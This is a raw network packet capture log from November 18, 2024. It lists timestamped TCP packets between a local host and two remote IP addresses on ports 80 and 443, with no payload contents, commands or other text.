Nov 18, 2024 21:04:09.400674105 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400687933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400687933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400707960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400741100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400752068 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400752068 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400793076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400814056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400825977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400865078 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400865078 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400866032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400898933 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400926113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400932074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400938988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400965929 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400974989 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400999069 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401032925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401051044 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401084900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401087046 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401118994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401138067 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401171923 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401184082 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401184082 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401204109 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401237011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401248932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401248932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401269913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401304960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401309013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401309013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401336908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401350975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401390076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401422977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401432991 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401432991 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401456118 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401489973 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401494980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401494980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401535988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401546955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401597977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401626110 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401632071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401664972 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401679039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401679039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401699066 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401705980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401748896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401782036 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401796103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401796103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401834965 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401851892 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401869059 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401896000 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401901960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401913881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401937962 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.401947975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401982069 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.401988983 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402025938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402060986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402071953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402071953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402093887 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402102947 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402139902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402144909 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402179003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402192116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402229071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402235985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402268887 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402302027 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402312994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402312994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402335882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402364969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402384996 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402419090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402427912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402427912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402452946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402467012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402491093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402532101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402533054 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402539968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402564049 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402578115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402592897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402595997 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402595997 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402609110 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402623892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402641058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402642012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402642012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402657032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402671099 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402686119 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402694941 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402695894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402699947 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402718067 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402733088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402749062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402762890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402764082 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402764082 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402779102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402795076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402802944 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402802944 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402811050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402826071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402829885 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402842045 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402857065 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402873039 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402873039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402873039 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402888060 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402901888 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402908087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402916908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402920008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402936935 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402951002 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402966022 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.402976036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402976036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.402983904 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403000116 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403014898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403024912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403024912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403031111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403045893 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403049946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403060913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403075933 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403091908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403100967 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403100967 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403106928 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403121948 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403125048 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403137922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403152943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403167963 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403177977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403177977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403183937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403198957 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403203964 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403213978 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403223038 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403228998 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403244019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403251886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403259039 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403274059 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403289080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403296947 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403296947 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403304100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403331995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403335094 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403350115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403357983 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403364897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403381109 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403386116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403395891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403409958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403417110 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403417110 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403425932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403441906 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403458118 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403464079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403464079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403474092 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403490067 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403503895 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403506041 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403520107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403536081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403551102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403551102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403551102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403568983 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.403589010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403589010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.403669119 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.824081898 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.824562073 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.824621916 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.825038910 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.825052977 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.946173906 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.947107077 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.947526932 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.947551966 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.947946072 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.947952032 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.948146105 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.948174953 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.948474884 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.948482037 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.958656073 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.958807945 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.958878994 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.959052086 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.959070921 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.959088087 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.959094048 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.961493969 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.961538076 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.961607933 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.961730957 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.961749077 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.023983955 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.024568081 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.024591923 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.025028944 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.025033951 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.041230917 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.041762114 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.041785955 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.042177916 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.042185068 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.076879025 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.077037096 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.077135086 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.077295065 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.077333927 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.077362061 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.077378988 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.077904940 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.078553915 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.078619957 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.078707933 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.078723907 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.078733921 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.078746080 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.080372095 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.080410004 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.080518961 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.080852032 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.080871105 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.080950022 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.080976009 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.081031084 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.081159115 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.081171036 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.161628962 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.161881924 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.161977053 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.167783976 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.167794943 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.167831898 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.167835951 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.170514107 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.170556068 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.170623064 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.170757055 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.170775890 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.171741962 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.171957016 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.172033072 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.172174931 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.172199011 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.172214985 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.172221899 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.174017906 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.174060106 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.174144030 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.174606085 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.174619913 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.716397047 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.716919899 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.716937065 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.717298985 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.717305899 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.821780920 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.829412937 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.829442024 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.829770088 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.829777002 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.831860065 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.837706089 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.837743998 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.838198900 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.838207960 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.848184109 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.848539114 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.848619938 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.848619938 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.848651886 CET	49801	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.848670959 CET	443	49801	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.851094007 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.851135969 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.851212978 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.851355076 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.851370096 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.926666021 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.926992893 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.927021980 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.927388906 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.927395105 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.961597919 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.961774111 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.961822987 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.969841003 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.969865084 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.970066071 CET	49803	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.970081091 CET	443	49803	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.970623970 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.970693111 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.970743895 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.971235991 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.971254110 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.971287012 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.971295118 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.973396063 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.973443985 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.973577023 CET	49807	443	192.168.2.4	13.107.246.45
